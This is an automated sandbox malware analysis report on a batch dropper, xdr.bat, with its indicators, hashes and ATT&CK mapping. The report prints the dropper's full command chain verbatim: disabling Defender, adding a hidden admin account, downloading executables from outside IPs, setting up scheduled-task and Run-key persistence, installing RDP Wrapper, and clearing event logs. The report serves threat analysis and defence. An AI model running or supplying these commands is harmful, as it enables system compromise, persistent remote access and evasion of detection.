15dd389f66e269ea795710fa580b7e403d628f281c71ebf4d845dbc7d0bdf394

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24/10/2024, 17:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

xdr.bat
Size

4KB
MD5

9e779d369e3ca17fdc894d13c4fd797a
SHA1

bf7e34e0da33a587177e66cfcec51f3aa75b4a87
SHA256

15dd389f66e269ea795710fa580b7e403d628f281c71ebf4d845dbc7d0bdf394
SHA512

ab290641c94cd7d3270a236af9f1e849ea056fddcf3120afc3dbad61afd63453eca3732093799cc6b82f2275da74d374c453a324fa9e465d931d2dff71b351b1
SSDEEP

96:IQ356afgPZCo/r+ab5iGp8HRI3h8UfpTsbUdGD:Iw56afgQHRq8UfGbdD

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/ngrok.yml

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/ngrok.zip

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://152.89.239.119/x222.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/WindowsUpdate.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/auto-install-hrdp.bat

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/hrdp/hrdp.zip

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/hrdp/update.zip

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.139.196.250/hrdp/autoupdate.zip

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	400	powershell.exe
6	2172	powershell.exe
8	1296	powershell.exe
10	2020	powershell.exe
12	1548	powershell.exe
14	876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2400	powershell.exe
2560	powershell.exe
2596	powershell.exe
1332	powershell.exe
2376	powershell.exe
2400	powershell.exe
2172	powershell.exe
1296	powershell.exe
2020	powershell.exe
1548	powershell.exe
876	powershell.exe
2692	powershell.exe
2708	powershell.exe
400	powershell.exe

Downloads MZ/PE file

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1268	attrib.exe
2464	attrib.exe
2340	attrib.exe
552	attrib.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsPowerup = "C:\\ProgramData\\Windata\\srlhost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdatez = "C:\\ProgramData\\Windata\\WindowsUpdate.exe"	reg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist\t1 = "0"	reg.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\termsrv.dll	cmd.exe
File created	C:\Program Files\RDP Wrapper\update.zip	powershell.exe
File created	C:\Program Files\RDP Wrapper\autoupdate.zip	powershell.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3024	schtasks.exe
1416	schtasks.exe
2012	schtasks.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2400	powershell.exe
2560	powershell.exe
2596	powershell.exe
1332	powershell.exe
2376	powershell.exe
400	powershell.exe
2172	powershell.exe
1296	powershell.exe
2020	powershell.exe
1052	powershell.exe
1548	powershell.exe
876	powershell.exe
1604	powershell.exe
2692	powershell.exe
2708	powershell.exe
2560	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2400	3068	cmd.exe	31
PID 3068 wrote to memory of 2400	3068	cmd.exe	31
PID 3068 wrote to memory of 2400	3068	cmd.exe	31
PID 3068 wrote to memory of 2812	3068	cmd.exe	32
PID 3068 wrote to memory of 2812	3068	cmd.exe	32
PID 3068 wrote to memory of 2812	3068	cmd.exe	32
PID 2812 wrote to memory of 2824	2812	cmd.exe	33
PID 2812 wrote to memory of 2824	2812	cmd.exe	33
PID 2812 wrote to memory of 2824	2812	cmd.exe	33
PID 3068 wrote to memory of 2560	3068	cmd.exe	34
PID 3068 wrote to memory of 2560	3068	cmd.exe	34
PID 3068 wrote to memory of 2560	3068	cmd.exe	34
PID 3068 wrote to memory of 2596	3068	cmd.exe	35
PID 3068 wrote to memory of 2596	3068	cmd.exe	35
PID 3068 wrote to memory of 2596	3068	cmd.exe	35
PID 3068 wrote to memory of 1332	3068	cmd.exe	36
PID 3068 wrote to memory of 1332	3068	cmd.exe	36
PID 3068 wrote to memory of 1332	3068	cmd.exe	36
PID 3068 wrote to memory of 2376	3068	cmd.exe	37
PID 3068 wrote to memory of 2376	3068	cmd.exe	37
PID 3068 wrote to memory of 2376	3068	cmd.exe	37
PID 3068 wrote to memory of 1936	3068	cmd.exe	38
PID 3068 wrote to memory of 1936	3068	cmd.exe	38
PID 3068 wrote to memory of 1936	3068	cmd.exe	38
PID 1936 wrote to memory of 2276	1936	net.exe	39
PID 1936 wrote to memory of 2276	1936	net.exe	39
PID 1936 wrote to memory of 2276	1936	net.exe	39
PID 3068 wrote to memory of 1992	3068	cmd.exe	40
PID 3068 wrote to memory of 1992	3068	cmd.exe	40
PID 3068 wrote to memory of 1992	3068	cmd.exe	40
PID 1992 wrote to memory of 1748	1992	net.exe	41
PID 1992 wrote to memory of 1748	1992	net.exe	41
PID 1992 wrote to memory of 1748	1992	net.exe	41
PID 3068 wrote to memory of 1652	3068	cmd.exe	42
PID 3068 wrote to memory of 1652	3068	cmd.exe	42
PID 3068 wrote to memory of 1652	3068	cmd.exe	42
PID 1652 wrote to memory of 2296	1652	net.exe	43
PID 1652 wrote to memory of 2296	1652	net.exe	43
PID 1652 wrote to memory of 2296	1652	net.exe	43
PID 3068 wrote to memory of 1508	3068	cmd.exe	44
PID 3068 wrote to memory of 1508	3068	cmd.exe	44
PID 3068 wrote to memory of 1508	3068	cmd.exe	44
PID 3068 wrote to memory of 2860	3068	cmd.exe	45
PID 3068 wrote to memory of 2860	3068	cmd.exe	45
PID 3068 wrote to memory of 2860	3068	cmd.exe	45
PID 2860 wrote to memory of 1872	2860	net.exe	46
PID 2860 wrote to memory of 1872	2860	net.exe	46
PID 2860 wrote to memory of 1872	2860	net.exe	46
PID 3068 wrote to memory of 1744	3068	cmd.exe	47
PID 3068 wrote to memory of 1744	3068	cmd.exe	47
PID 3068 wrote to memory of 1744	3068	cmd.exe	47
PID 1744 wrote to memory of 2040	1744	net.exe	48
PID 1744 wrote to memory of 2040	1744	net.exe	48
PID 1744 wrote to memory of 2040	1744	net.exe	48
PID 3068 wrote to memory of 2852	3068	cmd.exe	49
PID 3068 wrote to memory of 2852	3068	cmd.exe	49
PID 3068 wrote to memory of 2852	3068	cmd.exe	49
PID 3068 wrote to memory of 1004	3068	cmd.exe	50
PID 3068 wrote to memory of 1004	3068	cmd.exe	50
PID 3068 wrote to memory of 1004	3068	cmd.exe	50
PID 3068 wrote to memory of 2356	3068	cmd.exe	51
PID 3068 wrote to memory of 2356	3068	cmd.exe	51
PID 3068 wrote to memory of 2356	3068	cmd.exe	51
PID 3068 wrote to memory of 2576	3068	cmd.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2340	attrib.exe
552	attrib.exe
1268	attrib.exe
2464	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\xdr.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -windowstyle hidden Add-MpPreference -ExclusionPath 'C:'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\system32\cmd.exe
  cmd /C net use \\45.139.196.250\shear /user:WORKGROUP\smb "123123@@"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\net.exe
    net use \\45.139.196.250\shear /user:WORKGROUP\smb "123123@@"
    3⤵
    PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell Add-MpPreference -ExclusionPath 'c:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell Add-MpPreference -ExclusionPath 'C:\programdata\Windata'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\system32\net.exe
  net user t1 Raed12346@@ /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user t1 Raed12346@@ /add
    3⤵
    PID:2276
- C:\Windows\system32\net.exe
  net localgroup administrators t1 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators t1 /add
    3⤵
    PID:1748
- C:\Windows\system32\net.exe
  net localgroup Administrat├╢rer t1 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrat├╢rer t1 /add
    3⤵
    PID:2296
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v t1 /t REG_DWORD /d 0 /f
  2⤵
  - Hide Artifacts: Hidden Users
  PID:1508
- C:\Windows\system32\net.exe
  net user t1 /active:no
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user t1 /active:no
    3⤵
    PID:1872
- C:\Windows\system32\net.exe
  net user t1 /active:yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user t1 /active:yes
    3⤵
    PID:2040
- C:\Windows\system32\ReAgentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  PID:2852
- C:\Windows\system32\reg.exe
  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f
  2⤵
  PID:1004
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2356
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v LockScreenToastEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2576
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\MSEdge" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:1384
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2348
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1832
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:1756
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v TamperProtection /t REG_DWORD /d "1" /f
  2⤵
  PID:476
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/ngrok.yml','C:\Users\Admin\AppData\Local\ngrok\ngrok.yml')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/ngrok.zip','C:\ProgramData\Windata\ngrok.zip')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://152.89.239.119/x222.jpg','C:\ProgramData\Windata\winlogin.exe')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/WindowsUpdate.jpg','C:\ProgramData\Windata\WindowsUpdate.exe')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell Expand-Archive "ngrok.zip" -DestinationPath "."
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/auto-install-hrdp.bat','C:\ProgramData\Windata\installer.bat')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\programdata\Windata
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2340
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\programdata\Windata\*.*
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:552
- C:\Windows\system32\attrib.exe
  attrib -s +h C:\programdata\Windata\*.bat
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:1268
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPowerup /ru "Admin" /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\ProgramData\Windata\srlhost.exe" /f /it
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3024
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn Winlogo /ru "Admin" /sc minute /mo 5 /RL HIGHEST /tr "C:\ProgramData\Windata\winlogin.exe" /f /it
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1416
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsUp /ru "Admin" /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\ProgramData\Windata\WindowsUpdate.exe" /f /it
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2012
- C:\Windows\system32\reg.exe
  REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "WindowsPowerup" /t REG_SZ /F /D "C:\ProgramData\Windata\srlhost.exe"
  2⤵
  - Adds Run key to start application
  PID:2244
- C:\Windows\system32\reg.exe
  REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "WindowsUpdatez" /t REG_SZ /F /D "C:\ProgramData\Windata\WindowsUpdate.exe"
  2⤵
  - Adds Run key to start application
  PID:1512
- C:\Windows\system32\attrib.exe
  attrib -s +h C:\programdata\Windata\*.bat
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2464
- C:\Windows\system32\cmd.exe
  cmd /C C:\ProgramData\Windata\installer.bat
  2⤵
  - Drops file in Program Files directory
  PID:1420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/hrdp/hrdp.zip','C:\ProgramData\Windata\hrdp.zip')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell Expand-Archive "C:\ProgramData\Windata\hrdp.zip" -DestinationPath "C:\ProgramData\Windata\hrdp"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- - C:\Windows\system32\cmd.exe
    cmd /C C:\ProgramData\Windata\hrdp\install.bat
    3⤵
    PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/hrdp/update.zip','C:\Program Files\RDP Wrapper\update.zip')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://45.139.196.250/hrdp/autoupdate.zip','C:\Program Files\RDP Wrapper\autoupdate.zip')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell Expand-Archive "update.zip" -DestinationPath "."
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell Expand-Archive "autoupdate.zip" -DestinationPath "."
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\system32\cmd.exe
    cmd /C "C:\Program Files\RDP Wrapper\rdpwrap_ini_updater.bat"
    3⤵
    PID:2120
- - C:\Windows\system32\cmd.exe
    cmd /C "C:\Program Files\RDP Wrapper\re-install.bat"
    3⤵
    PID:2188
- - C:\Windows\system32\cmd.exe
    cmd /C "C:\Program Files\RDP Wrapper\helper\autoupdate__enable_autorun_on_startup.bat"
    3⤵
    PID:2184
- - C:\Windows\system32\cmd.exe
    cmd /C "C:\Program Files\RDP Wrapper\autoupdate.bat"
    3⤵
    PID:2056
- C:\Windows\system32\cmd.exe
  cmd /C for /F "tokens=*" in ('wevtutil.exe el') DO wevtutil.exe cl ""
  2⤵
  PID:1976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Windata\hrdp.zip

Filesize
1.5MB

MD5
0220e75b22e87585fa065121761e9e2d

SHA1
3c2b019c4bde007ffca05bca8b75ad3951a4a9a0

SHA256
6acb1127d03b01b533501943a559e2ef33be1788cbf9b64d5617ae5ccba92446

SHA512
fc15b01b0e13f0288f49e70c5294a3643dda73edd2ed48697b61f0f445379e189a41d626e650644f50e71d04543a67d68592f7ce4d057e6eeaa5aff25ce1bc07

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5436bdde4896ff1d65ee10660892363f

SHA1
55711d4b1cea7ff2fa942531ba61f450f262eb19

SHA256
5302e514684c2fce1041c7ff3a0bca1878983c337246d1ed595f3ace2121cdff

SHA512
0ad33987d63912d6279075e67753c23734fdd58bfbff18dcf26580c18136c39c39add9992a0f9177193fdc14dc37d0463dc5763afdfb7c343d852a1f24e8e298

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6bcf2033ebc52a15d740e3da3dc1f07a

SHA1
886b90681a80606bf2d8f2ef02effeff65e568fe

SHA256
9867a2b0cce14a94e6541af5c029e6105d7a76aeb35e4b02e4b714303ecf879d

SHA512
0db4869d8634091b9e0c0cf3c4807e7bd4bfc896ac1dda2e77090517d6bee1c548412d44cd3d25030ff5b3ace53fa11f66073336352253e959f1ce76b4092b09

Download Submit
C:\programdata\Windata\installer.bat

Filesize
1KB

MD5
895d7ba924e93cefffa7fa4bc0cac6f2

SHA1
68313bc29146cd23caf4dded3100225d4d0f26a6

SHA256
c24c176aab99728a62179a4eb95af90f80e48c59884e258d8c454de26bfa2dd8

SHA512
aaf1c5c43937a42bd1eb49df5ac6a2a76ea2c9f0c74cb52ca7ac6f332aa191b99a50fdf31ef97a0a6b995c0f187c15cd2cdce925b368926dba8190073f20f450

Download Submit
C:\programdata\Windata\ngrok.zip

Filesize
8.4MB

MD5
ef99156228bf3926729f9682cef708e9

SHA1
7e02bd51e5be7e98454434c030e6cc583876f63b

SHA256
dc28f606067f7fe980c033c27d7365ed761dce0ad398095e495fdfd26e0b4f51

SHA512
033bd685dd744c5de93be64d221a41d06224261a28401d7a125db4824c22814eb410903a162e946fcc3dfe386b164759c276dc6b264c307cfdf295441f28cef1

Download Submit
C:\programdata\Windata\winlogin.exe

Filesize
7KB

MD5
9e497a3855c86b45e07ed23710683de1

SHA1
c9baae1a87fef165e9942119fb19631a2cbda8d8

SHA256
54b9b8048365c9705d5b39c638c7ce5599a93685b2a44020ede883185409bb9f

SHA512
da79293ea0a508ea3db40d6041d4d3d414772e32962eaae627e4a750b21872bb50a930bd6c97da86c18cd060e6fd9c3b746e396141ba7b1e38ca8596c5ed84b6

Download Submit
memory/2400-47-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-7-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-8-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-4-0x000007FEF468E000-0x000007FEF468F000-memory.dmp

Filesize
4KB

Download
memory/2400-9-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-10-0x0000000002DDB000-0x0000000002E42000-memory.dmp

Filesize
412KB

Download
memory/2400-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2400-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2560-16-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2560-17-0x00000000003F0000-0x00000000003F8000-memory.dmp

Filesize
32KB

Download